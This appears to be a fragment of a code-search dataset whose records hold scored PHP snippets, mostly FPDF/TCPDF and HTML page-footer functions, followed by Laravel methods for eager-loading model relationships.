\n\t\tif($option['color_text_cookie_policy']!=false)\n\t\t\t echo $option['color_text_cookie_policy']; \n\t\telse\n\t\t\techo \"#0011FF\" ?>'}); \n\t\t\t\n\t\t// colore bottone cookiepolicy\n\t\tjQuery('.cb-policy').css({'background':'<?php \n\t\tif($option['color_cookie_policy']!=false)\n\t\t\t echo $option['color_cookie_policy']; \n\t\telse\n\t\t\techo \"#eeeeee\" ?>'});\t\n\t\t\t\n\t\t// colore testo disabilita cookie\n\t\tjQuery('.cb-disable').css({'color':'<?php \n\t\tif($option['text_color_dis_button']!=false)\n\t\t\t echo $option['text_color_dis_button']; \n\t\telse\n\t\t\techo \"#eeeeee\" ?>'});\t\n\t\t\t\n\t\t// colore testo disabilita cookie\n\t\tjQuery('.cb-disable').css({'background':'<?php \n\t\tif($option['color_dis_button']!=false)\n\t\t\t echo $option['color_dis_button']; \n\t\telse\n\t\t\techo \"#eeeeee\" ?>'});\t\n\t\t\t\n\t\t\t\n\t</script>\n <?php\n\t\n}", "title": "" }, { "docid": "f27a0ff0895eaad6cc0bf4cb928d7142", "score": "0.5515623", "text": "function Footer()\r\n{\r\n $this->SetY(-15);\r\n // Arial italic 8\r\n $this->SetFont('Arial','I',8);\r\n // Page number\r\n $this->Cell(0,10,'This is autogenerated and signature is not needed',0,0,'C');\r\n}", "title": "" }, { "docid": "8a175b6de5a92b42472cf005523bb469", "score": "0.551484", "text": "public function loadFooter()\n {\n }", "title": "" }, { "docid": "a947f04621bfddea589136321f98a55d", "score": "0.5512099", "text": "public function Footer() {\n $this->SetLineStyle( array( 'width' => 0.2,'color' => array(0, 0, 0) ) );\n $this->Line( 15, $this->getPageHeight() - 0.5 * 15 - 2,\n $this->getPageWidth() - 15, $this->getPageHeight() - 0.5 * 15 - 2 );\n $this->SetFont('times', '', 8 );\n $this->SetY( -0.5 * 15, true );\n $this->Cell( 15, 0, 'Created by GaiaEHR (Electronic Health Record) ');\n\t $this->Cell( 333, 0, 'Page '.$this->getAliasNumPage().'/'.$this->getAliasNbPages(), 0, false, 'C', 0, '', 0, false, 'T', 'M');\n }", "title": "" }, { "docid": "2a93bb7a86025c4a127e4f1a3ab42c5e", "score": "0.55104125", "text": "function Footer()\n\t{\n\t\t//$this->Image('../imagenes/pie.jpg',15,250,170);\n\t\t$this->AliasNbPages();\n\t\t$this->SetY(-23);\n\t\t\n\t\t$this->SetFont('Arial','B',9);\n\t\t$this->MultiCell(180,5,utf8_decode(''),'0','C');\n\t\t\n\t $this->SetFont('Arial','I',8);\n\t $this->Cell(190,7,'Pag. '.$this->PageNo().'',0,1,'C');\n\t}", "title": "" }, { "docid": "d86128c9fdd5ce9ee795b78738a9fc29", "score": "0.55027914", "text": "function Footer()\n {\n $this->SetY(-15);\n // Select Arial italic 8\n $this->SetFont('DejaVuSansMono','',10);\n // Print centered page number\n $this->Cell(0,10,'Page '.$this->PageNo(),0,0,'C');\n }", "title": "" }, { "docid": "fbbb792092a1ffb100523350a0a95f00", "score": "0.549178", "text": "function Footer()\n\t{\n\t $this->SetY(-15);\n\t // Select Arial italic 8\n\t $this->SetFont('Arial','I',8);\n\t // Print centered page number\n\t $this->Cell(0,10,'Page '.$this->PageNo(),0,0,'C');\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1a11dcd15c9fde24210111a6346a431b", "score": "0.5484532", "text": "function Page_DataRendered(&$footer) {\n\n\t\t// Example:\n\t\t//$footer = \"your footer\";\n\n\t}", "title": "" }, { "docid": "1c009c6c5bff2731a2972eb80ed1365a", "score": "0.5467187", "text": "function Footer()\n\t\t{\n\t\t\t$this->SetY(-8);\n\t\t\t// Select Arial italic 8\n\t\t\t$this->SetFont('Verdana','',8);\n\t\t\t\n\t\t\t$this->SetFillColor(100, 100, 100);\n\t\t\t\n\t\t\t$this->SetX(115);\n\t\t\t$this->Cell(0,8,'Page '.$this->PageNo().' of '.$this->AliasNbPages,0,0,'L');\n\t\t\t$this->SetX(183);\n\t\t\t$this->Cell(0,8,'Copyright © '.date('Y'),0,0,'L');\n\t\t\n\t\t\t$this->ln(4);\n\t\t\t\n\t\t\t$this->AliasNbPages();\n\t\t\t\n\t\t\t//$this->Cell(0,10,'Page '.$this->PageNo().' of '.$this->AliasNbPages,0,0,'C');\n\t\t}", "title": "" }, { "docid": "ad03ed776fe82b85233386668fc62c45", "score": "0.5467043", "text": "function createPageFooter()\n{\n ?>\n </body>\n <footer>\n <br><br>CopyRight Alireza Gholami (1931230) <?php echo date('Y'); ?>\n </footer>\n </html>\n \n \n <?php \n \n}", "title": "" }, { "docid": "59f879fd27787447574eb7b4ee4bf52f", "score": "0.5455442", "text": "function Footer()\n\t{\n\t\t//$this->Image('../imagenes/pie.jpg',15,250,170);\n\t\t$this->AliasNbPages();\n\t\t$this->SetY(-14);\n\t\t\n\t\t$this->SetFont('Arial','B',9);\n\t\t$this->MultiCell(180,5,utf8_decode(''),'0','C');\n\t\t\n\t $this->SetFont('Arial','I',8);\n\t $this->Cell(0,7,'Pag. '.$this->PageNo().'',0,1,'C');\n\t}", "title": "" }, { "docid": "e7bd24b0bbe6cb7e5bd85d9bc84d078d", "score": "0.54545426", "text": "function Footer()\r\n\t{\r\n\t\t$this->SetY(-15);\r\n\t\t// Arial italic 8\r\n\t\t$this->SetFont('Times','I',8);\r\n\t\t// Text color in gray\r\n\t\t$this->SetTextColor(128);\r\n\t\t// Page number\r\n\t\t$this->Cell(0,10,'Page '.$this->PageNo(),0,0,'C');\r\n\t}", "title": "" }, { "docid": "c2c7ce10f60f9668578e5ebbfe044b9b", "score": "0.54531574", "text": "function twentynineteen_entry_footer() {}", "title": "" }, { "docid": "21e924293cf9cb545ddd03bd9ae16f37", "score": "0.5442301", "text": "Public function Footer() {\n\t\t$this->SetY(-15);\n\t\t//Set font and Page number\n\t\t$this->SetFont($UserPdfFont,'I',8);\n\t\t$this->Cell(0, 10, _('Page').$this->getAliasNumPage().'/'.$this->getAliasNbPages(), 0, false, 'C', 0, '', 0, false, 'T', 'M');\n\t\t}", "title": "" }, { "docid": "6fa5dbb04da25ee0ad492062e89030ba", "score": "0.5440761", "text": "function Footer()\n {\n //$this->Ln(2);\n $this->SetY(-12);\n $this->SetFont('Arial','B',10); \n $this->Cell(0,10,\"Pag \".$this->PageNo(),0,0,'C'); \n \n }", "title": "" }, { "docid": "f13231d645a71b44d5636635116466a8", "score": "0.5438225", "text": "public function footer() {\n\n\t}", "title": "" }, { "docid": "64e6e8ba1efd9187d62367befa36190c", "score": "0.5430584", "text": "public function footer()\n {\n }", "title": "" }, { "docid": "be28577757891e2849af9c08dfb5d73c", "score": "0.54295516", "text": "function yp_footer() {\n do_action('yp_footer');\n}", "title": "" }, { "docid": "53d7a6f6647d2ab9142d89496d542ef9", "score": "0.54224914", "text": "abstract protected function displayFooter();", "title": "" }, { "docid": "825a72b64aeff8684585505fb513a7bb", "score": "0.5419286", "text": "function Footer()\n{\n $this->SetY(-15);\n // Times italic 8\n $this->SetFont('Times','I',8);\n // Page number\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n}", "title": "" }, { "docid": "c5845e29b6b8485dcdfc7ee3ddc3934e", "score": "0.5418842", "text": "public function Footer() {\n $this->SetY(-15);\n // Set font\n $this->SetFont('helvetica', '', 7);\n // Page number\n $this->Cell(0, 2, $this->getAliasNumPage(). ' | Private and confidential v4.2 30.09.15', 'T', false, 'L', 0, '', 0, false, 'T', 'L');\n \n }", "title": "" }, { "docid": "ca3f6c3e9878cb65690f66ecc44f7ca7", "score": "0.5410599", "text": "public function adminFooter() {\n\t\t\t?><style type=\"text/css\">\n\t\t\t\t.aps-upgrade-link {\n\t\t\t\t\tfont-weight: bold;\n\t\t\t\t\tcolor: #d54e21;\n\t\t\t\t}\n\t\t\t\t.aps-upgrade-link:hover {\n\t\t\t\t\ttext-decoration: underline;\n\t\t\t\t}\n\t\t\t</style><?php\n\t\t}", "title": "" }, { "docid": "cd3e56f56be7cb60798c876d07f49cb4", "score": "0.54082596", "text": "function Footer()\r\n{\r\n\t$this->SetY(-15);\r\n\t// Arial italic 8\r\n\t$this->SetFont('Arial','I',8);\r\n\t// Text color in gray\r\n\t$this->SetTextColor(128);\r\n\t// Page number\r\n\t$this->Cell(0,10,'Page '.$this->PageNo(),0,0,'C');\r\n}", "title": "" }, { "docid": "cd488954d9ee00a26f4155251998140c", "score": "0.54055667", "text": "private function _getFooterSetting()\n {\n $oHTML = CDependency::getComponentByName('display');\n $oPage = CDependency::getComponentByName('page');\n $oDB = CDependency::getComponentByName('database');\n\n $sURL = $oPage->getUrl('settings', CONST_ACTION_SAVEADD, CONST_TYPE_SETTING_FOOTER);\n\n $sQuery = 'SELECT * FROM settings WHERE fieldname = \"footer\"';\n $oDbResult = $oDB->ExecuteQuery($sQuery);\n $bRead = $oDbResult->readFirst();\n\n $sHTML = $oHTML->getBlocStart();\n $oForm = $oHTML->initForm('footerSettingForm');\n $sFormId = $oForm->getFormId();\n $oForm->setFormParams('', false, array('action' => $sURL, 'submitLabel'=>'Save'));\n $oForm->setFormDisplayParams(array('noCancelButton' => '1'));\n $oForm->addField('textarea', 'footer', array('label'=> 'Footer ', 'value' =>$oDbResult->getFieldValue('value'),'style'=>'width:680px;'));\n $oForm->setFieldControl('footer', array('jsFieldNotEmpty' => ''));\n $sHTML.= $oForm->getDisplay();\n $sHTML.= $oHTML->getBlocEnd();\n\n return $sHTML;\n }", "title": "" }, { "docid": "7127fb0d2a09dce0fc4761163f2337cf", "score": "0.5403868", "text": "public function Footer() {\n $this->SetY(-15);\n // Set font\n $this->SetFont('helvetica', 'I', 8);\n // Page number\n //$this->Cell(0, 10, $this->getAliasNumPage().'/'.$this->getAliasNbPages(), 0, false, 'R', 0, '', 0, false, 'T', 'M');\n $this->Cell(0, 10, $this->getAliasNumPage(), 0, false, 'R', 0, '', 0, false, 'T', 'M');\n }", "title": "" }, { "docid": "9a7855159cee97ad1c581ea33a7c1271", "score": "0.54027283", "text": "protected function getFooterCallbackFunction(){}", "title": "" }, { "docid": "b9f65752d4120764bffd4367a0bc9c1b", "score": "0.53947055", "text": "private function _FooterContent()\n {\n $confName = $this->_conf[ 'pdf.' ][ 'content.' ][ 'footer' ];\n $confObj = $this->_conf[ 'pdf.' ][ 'content.' ][ 'footer.' ];\n $content = $this->_zzCObjGetSingle( $confName, $confObj );\n\n if ( empty( $this->pagegroups ) )\n {\n $content = str_replace( '%page%', $this->getAliasNumPage(), $content );\n $content = str_replace( '%pages%', $this->getAliasNbPages(), $content );\n }\n else\n {\n $content = str_replace( '%page%', $this->getPageNumGroupAlias(), $content );\n $content = str_replace( '%pages%', $this->getPageGroupAlias(), $content );\n }\n// var_dump(__METHOD__, __LINE__, $content );\n// exit();\n return $content;\n }", "title": "" }, { "docid": "21b8ff08d70c5af867f28b3b92d6dbc0", "score": "0.5394283", "text": "function Footer()\n\t{\n\t\t//$this->Image('../imagenes/pie.jpg',15,250,170);\n\t\t$this->AliasNbPages();\n\t\t$this->SetY(-30);\n\t\t\n\t\t$this->SetFont('Arial','B',9);\n\t\t$this->MultiCell(180,5,utf8_decode(''),'0','C');\n\t\t\n\t $this->SetFont('Arial','I',8);\n\t $this->Cell(0,7,'Pag. '.$this->PageNo().' / {nb}',0,1,'C');\n\t \n\t}", "title": "" }, { "docid": "21b8ff08d70c5af867f28b3b92d6dbc0", "score": "0.5394283", "text": "function Footer()\n\t{\n\t\t//$this->Image('../imagenes/pie.jpg',15,250,170);\n\t\t$this->AliasNbPages();\n\t\t$this->SetY(-30);\n\t\t\n\t\t$this->SetFont('Arial','B',9);\n\t\t$this->MultiCell(180,5,utf8_decode(''),'0','C');\n\t\t\n\t $this->SetFont('Arial','I',8);\n\t $this->Cell(0,7,'Pag. '.$this->PageNo().' / {nb}',0,1,'C');\n\t \n\t}", "title": "" }, { "docid": "082f60982d4bd2b684eff9524b6bb830", "score": "0.53935283", "text": "function printDocFooter()\n{\n print \"<footer>\".\"\\n\";\n print \"&copy; aleonard\\n\" .\n \"Last update:\\n\" .\n \"<script type='text/javascript'>\\n\" .\n \"document.write(document.lastModified);\\n\" .\n \"</script> &nbsp;&nbsp;&nbsp;\\n\" .\n \"<a href='http://validator.w3.org/check?uri=referer'>\\n\" .\n \"<strong>html5</strong></a>\\n\" .\n \"&nbsp;&nbsp;&nbsp;&nbsp;\\n\" .\n \"<a href='http://jigsaw.w3.org/css-validator/check?uri=referer'>\\n\" .\n \"<strong>CSS</strong></a>\\n\";\n print \"</footer>\\n\";\n print \"</body>\\n\";\n print \"</html>\\n\";\n}", "title": "" }, { "docid": "0d7c931fd0aab812480bf6076eaf3523", "score": "0.5389241", "text": "public function Footer() {\n $this->SetY(-22);\n // Set font\n $this->SetFont('helvetica', 'I', 8);\n // Page number\n\t\t $this->Cell(0, 10, 'Page '.$this->getAliasNumPage().'/'.$this->getAliasNbPages(), 0, false, 'C', 0, '', 0, false, 'T', 'M');\n }", "title": "" }, { "docid": "9f1bb969005de11c188f97be256060a9", "score": "0.53820115", "text": "private static function addBookmarksLink(&$contents, $hookParams, XenForo_Template_Abstract $template)\n\t{\n\t\t$visitor = XenForo_Visitor::getInstance();\n\t\tif ($visitor['user_id'] && $visitor->hasPermission('general', 'canUseBookmarks'))\n\t\t{\n\t\t\t$hookParams['selectedKey'] = $template->getParam('selectedKey');\n\t\t\t$contents .= $template->create('bookmarks_account_wrapper_sidebar_your_account', $hookParams);\n\t\t}\n\t}", "title": "" }, { "docid": "1042754f70825cce2f0c743fdee9000d", "score": "0.5380968", "text": "public function do_footer_items()\n {\n }", "title": "" }, { "docid": "1042754f70825cce2f0c743fdee9000d", "score": "0.53788614", "text": "public function do_footer_items()\n {\n }", "title": "" }, { "docid": "df15bdb4c87916bb2c5e39834a39c15a", "score": "0.5370741", "text": "function Footer() {\r\n\r\n//$this->$pdf->Cell(172,0,guarani($total_carrinho),1,1,'L');\r\n}", "title": "" } ]
a45d71249a5cd4a1b847a19d19b15e85
Add relationships to the query builder to eager load
[ { "docid": "51ea39874bb5468a7456378bbb0eeab7", "score": "0.7119951", "text": "protected function eagerLoad()\n\t{\n\t\tforeach($this->with as $relation)\n\t\t{\n\t\t\t$this->query->with($relation);\n\t\t}\n\t\treturn $this;\n\t}", "title": "" } ]
[ { "docid": "29f76d8c05701a595df553c432baf3ff", "score": "0.7426141", "text": "public function eagerLoad($relations);", "title": "" }, { "docid": "a2a6cd69d66078f1175e993182442eb4", "score": "0.67943186", "text": "public function getRelationshipsQuery();", "title": "" }, { "docid": "6470b7d2f30b62463dd31c380ecc1e83", "score": "0.6616526", "text": "public function getEagerLoadedRelation();", "title": "" }, { "docid": "3245bd0a2be249e64b0766b5056339f2", "score": "0.6488004", "text": "public static function eagerLoadRelations($models){\n return \\Illuminate\\Database\\Eloquent\\Builder::eagerLoadRelations($models);\n }", "title": "" }, { "docid": "7936c551ce15dc8f00b3cbdbb38ecf25", "score": "0.62226987", "text": "public function relationships();", "title": "" }, { "docid": "594598feb3aef64097a956130f0eb8f2", "score": "0.62101454", "text": "public function with($relations);", "title": "" }, { "docid": "594598feb3aef64097a956130f0eb8f2", "score": "0.62101454", "text": "public function with($relations);", "title": "" }, { "docid": "5f593fe5951461e8124ab31047203ca0", "score": "0.61993194", "text": "public function buildRelations()\n {\n }", "title": "" }, { "docid": "5f593fe5951461e8124ab31047203ca0", "score": "0.61993194", "text": "public function buildRelations()\n {\n }", "title": "" }, { "docid": "5f593fe5951461e8124ab31047203ca0", "score": "0.61993194", "text": "public function buildRelations()\n {\n }", "title": "" }, { "docid": "5f593fe5951461e8124ab31047203ca0", "score": "0.61993194", "text": "public function buildRelations()\n {\n }", "title": "" }, { "docid": "5f593fe5951461e8124ab31047203ca0", "score": "0.61993194", "text": "public function buildRelations()\n {\n }", "title": "" }, { "docid": "5f593fe5951461e8124ab31047203ca0", "score": "0.61993194", "text": "public function buildRelations()\n {\n }", "title": "" }, { "docid": "5f593fe5951461e8124ab31047203ca0", "score": "0.61993194", "text": "public function buildRelations()\n {\n }", "title": "" }, { "docid": "5f593fe5951461e8124ab31047203ca0", "score": "0.61993194", "text": "public function buildRelations()\n {\n }", "title": "" }, { "docid": "5f593fe5951461e8124ab31047203ca0", "score": "0.61993194", "text": "public function buildRelations()\n {\n }", "title": "" }, { "docid": "5f593fe5951461e8124ab31047203ca0", "score": "0.61993194", "text": "public function buildRelations()\n {\n }", "title": "" }, { "docid": "5f593fe5951461e8124ab31047203ca0", "score": "0.61993194", "text": "public function buildRelations()\n {\n }", "title": "" }, { "docid": "5f593fe5951461e8124ab31047203ca0", "score": "0.61993194", "text": "public function buildRelations()\n {\n }", "title": "" }, { "docid": "34ac6af6cd7df752955b5fb7053c32a7", "score": "0.60738075", "text": "public function relations($relationships);", "title": "" }, { "docid": "eee21de2125a9743e34e5c06b4ee7d31", "score": "0.60209394", "text": "private function relations()\n {\n return collect($this->with ?? [])->mapWithKeys(function ($relation) {\n return [$relation => function ($query) {\n return $query->withoutGlobalScope('active');\n }];\n })->all();\n }", "title": "" }, { "docid": "10ae7969edc863cfff54c02b1187321b", "score": "0.5995497", "text": "public static function setEagerLoads($eagerLoad){\n return \\Illuminate\\Database\\Eloquent\\Builder::setEagerLoads($eagerLoad);\n }", "title": "" }, { "docid": "9fdea461e08471c28bcded0fdcebbef4", "score": "0.5939685", "text": "public function buildRelations()\n\t{\n\t}", "title": "" }, { "docid": "9fdea461e08471c28bcded0fdcebbef4", "score": "0.5939685", "text": "public function buildRelations()\n\t{\n\t}", "title": "" }, { "docid": "9fdea461e08471c28bcded0fdcebbef4", "score": "0.5939685", "text": "public function buildRelations()\n\t{\n\t}", "title": "" }, { "docid": "9fdea461e08471c28bcded0fdcebbef4", "score": "0.5939685", "text": "public function buildRelations()\n\t{\n\t}", "title": "" }, { "docid": "4c6fa299ef080436ce062514d793c9ae", "score": "0.5915312", "text": "public static function eagerLoadRelations($models)\n {\n return \\Illuminate\\Database\\Eloquent\\Builder::eagerLoadRelations($models);\n }", "title": "" }, { "docid": "5a14a446c0aec0375c8bf90e83c6b2f3", "score": "0.58891827", "text": "public static function getEagerLoads(){\n return \\Illuminate\\Database\\Eloquent\\Builder::getEagerLoads();\n }", "title": "" }, { "docid": "de7dcc306769b2f2c61b43f15c1fa581", "score": "0.58871293", "text": "protected abstract function getRelationships();", "title": "" }, { "docid": "0a7fa54017a38caa472b175454a6a5ab", "score": "0.58704895", "text": "public function allWithRelations()\n {\n return $this->withRelations()->get();\n }", "title": "" }, { "docid": "e9df2e08f8e3630f2139af0a858b7d2b", "score": "0.58539313", "text": "public function buildRelations(): void\n {\n }", "title": "" }, { "docid": "c3b90a74c2830e78237d7c1444f760a6", "score": "0.5850183", "text": "public function eloquentWith(...$relations) : BaseRepository;", "title": "" }, { "docid": "dbca3f05a5d3b40024794bcd011cdcac", "score": "0.5847618", "text": "protected function _relations()\n {\n return array();\n }", "title": "" }, { "docid": "193b43c4c7f0cfd125650ef9692bdc71", "score": "0.58270025", "text": "public static function getEagerLoads()\n {\n return \\Illuminate\\Database\\Eloquent\\Builder::getEagerLoads();\n }", "title": "" }, { "docid": "be983278d1ec18c2c352a06702c858df", "score": "0.5723687", "text": "public function buildRelation()\n {\n $this->buildForeignRelation();\n $this->buildLocalRelation();\n }", "title": "" }, { "docid": "d1f446a35496e822d9d6433c770390d6", "score": "0.57130057", "text": "public function buildRelations()\n {\n $this->command->buildMethod($this->model, 'hasMany', $this->toModel, $this->options);\n $this->command->buildMethod($this->toModel, 'belongsTo', $this->model, $this->options);\n }", "title": "" }, { "docid": "a35432780846051040b7d2c690b35cb3", "score": "0.5696318", "text": "public function build_relationship()\n {\n $model_table = $this->instantiate_model();\n $main_table = strtolower($model_table->clean_table());\n\n foreach ($this->associations as $many) {\n\n $_many = str_replace(':image', '', $many);\n $many_table = DB_SUFFIX.'_'.$_many;\n\n $image_query = $this->assign_image_association($many);\n\n $query = 'SELECT *'.$image_query.' FROM '.$many_table.' WHERE '.$main_table.'_id = :id';\n\n // Unset the add query for the next loop\n $image_query = \"\";\n\n $has_many = $model_table->table()->query->getAssoc($query, array('id' => $this->primary_key_value));\n\n // If theres a joint query we set it in the array\n if (!!$has_many) {\n $this->associations_data[$_many] = $has_many;\n }\n }\n\n return $this->get_association_data();\n }", "title": "" }, { "docid": "cc1f38210b31b8333814d16a9d1f2f58", "score": "0.56939507", "text": "public function testQueryEager()\n {\n $this->testName = 'Delete query eager' . $this->getCacheSuffix();\n $this->objectRepository->setConfigOption('eagerLoadToOne', true);\n $this->objectRepository->setConfigOption('eagerLoadToMany', true);\n $this->doTests();\n }", "title": "" }, { "docid": "2d85fc8c934c22bb0cc54b1ceba4f7bf", "score": "0.56810695", "text": "protected function joinRelationship():void\n\t{\n\t\t/**\n\t\t * @var string $alias\n\t\t * @var array{\n\t\t * table:string,\n\t\t * primaryKey: string,\n\t\t * relationId: string\n\t\t * } $relationInfo\n\t\t */\n\t\tforeach ($this->belongsTo as $alias => $relationInfo)\n\t\t{\n\t\t\tif (array_key_exists($alias, $this->relationships))\n\t\t\t{\n\t\t\t\t$this->addRelation($alias, $relationInfo);\n\t\t\t}\n\n\t\t\t/**\n\t\t\t * @var \\Arifrh\\DynaModel\\Models\\DynaModel $this\n\t\t\t */\n\t\t\t$this->filterRelationship($alias, $this, $alias);\n\t\t}\n\t}", "title": "" }, { "docid": "435c622411b5a095e25098b9342bdb84", "score": "0.56772554", "text": "public function addEagerConstraints(array $models)\n {\n $this->query->startModel = $this->parent;\n $this->query->endModel = $this->related;\n $this->query->relationshipName = $this->relation;\n }", "title": "" }, { "docid": "e54158117374ee50452a880e603ab039", "score": "0.56767064", "text": "public function with(array $relations);", "title": "" }, { "docid": "2c7a5fb6d087ad056188e44fe6a7c2dc", "score": "0.5672263", "text": "abstract protected function fetchRelated(): mixed;", "title": "" }, { "docid": "47982a3647c2859c2ec8d373af918f9f", "score": "0.5670408", "text": "protected static function define_related() {\n return array();\n }", "title": "" }, { "docid": "9f803a46a10686f480af97f1d2aec4c2", "score": "0.5662324", "text": "public function load($relations) : self\n {\n $query = $this->newQuery()->with(\n is_string($relations) ? func_get_args() : $relations\n );\n\n $query->eagerLoadRelations([$this]);\n\n return $this;\n }", "title": "" }, { "docid": "7835d99aca821acaadd053f499f33b87", "score": "0.5656014", "text": "static public function with(array $relations) : Query;", "title": "" }, { "docid": "988f3d2327f4e3ab2973438dd0aecfff", "score": "0.56392133", "text": "public function includeRelated($include);", "title": "" }, { "docid": "0a08ca620c6930a980734b290bd6f859", "score": "0.55964446", "text": "public function addEagerConstraints(array $models)\n {\n /*\n * We'll grab the primary key name of the related models since it could be set to\n * a non-standard name and not \"id\". We will then construct the constraint for\n * our eagerly loading query so it returns the proper models from execution.\n */\n parent::addEagerConstraints($models);\n\n // Grab the parent node placeholder\n $parentNode = $this->query->getQuery()->modelAsNode($this->parent->nodeLabel());\n\n // Tell the builder to select both models of the relationship\n $this->query->select($this->relation, $parentNode);\n\n // Setup for their mutation so they don't breed weird stuff like... humans ?!\n $this->query->addManyMutation($this->relation, $this->related);\n $this->query->addManyMutation($parentNode, $this->parent);\n\n // Set the parent node's placeholder as the RETURN key.\n $this->query->getQuery()->from = array($parentNode);\n // Build the MATCH ()-[]->() Cypher clause.\n $this->query->matchIn($this->parent, $this->related, $this->relation, $this->type, $this->localKey, $this->parent->{$this->localKey});\n // Add WHERE clause over the parent node's matching keys [values...].\n $this->query->whereIn($this->localKey, $this->getKeys($models));\n\n parent::addEagerConstraints($models);\n }", "title": "" }, { "docid": "22778a01969ed65d21dfe8e623596259", "score": "0.5584127", "text": "public static function setEagerLoads($eagerLoad)\n {\n return \\Illuminate\\Database\\Eloquent\\Builder::setEagerLoads($eagerLoad);\n }", "title": "" }, { "docid": "b84f5ea680f97547c59bb87f1a8d0b06", "score": "0.5580624", "text": "protected function withRelations():array\n {\n return [];\n }", "title": "" }, { "docid": "f387da6911aec1cb0bbc1c253ad11eb7", "score": "0.55696", "text": "private function registerRelationships(EntityManagerInterface $em): \\LLA\\DoctrineGraphQL\\DoctrineGraphQL\n {\n $cmf = $em->getMetadataFactory();\n foreach($cmf->getAllMetadata() as $cm) {\n $this->registerRelationshipsType($cm);\n }\n\n return $this;\n }", "title": "" }, { "docid": "50efe3b41381f71afa26fef5007ca66d", "score": "0.55610675", "text": "public function relationships()\n {\n return $this->belongsTo(Relationship::class,'relationship');\n }", "title": "" }, { "docid": "bd8aebc9e55438107a5652dabe118eae", "score": "0.5559097", "text": "public function buildRelations()\n\t{\n\t\t$this->addRelation('UsuarioRelatedByAprovadorId', 'Usuario', RelationMap::MANY_TO_ONE, array('aprovador_id' => 'id', ), null, null);\n\t\t$this->addRelation('Premio', 'Premio', RelationMap::MANY_TO_ONE, array('premio_id' => 'id', ), null, null);\n\t\t$this->addRelation('UsuarioRelatedBySolicitanteId', 'Usuario', RelationMap::MANY_TO_ONE, array('solicitante_id' => 'id', ), null, null);\n\t}", "title": "" }, { "docid": "983fe4b0b6255bb8f4b91525b75bc913", "score": "0.551196", "text": "public function setEagerLoaded($query)\n\t{\n\t\tif( ! empty($this->getEagerLoad()))\n\t\t{\n\t\t\t$query = $query->with($this->getEagerLoad());\n\t\t}\n\n\t\treturn $query;\n\t}", "title": "" }, { "docid": "cb2fff16533a8cb870e9ee73ffdcacd8", "score": "0.55066305", "text": "public function joins()\n {\n return $this->hasMany('App\\Join');\n }", "title": "" }, { "docid": 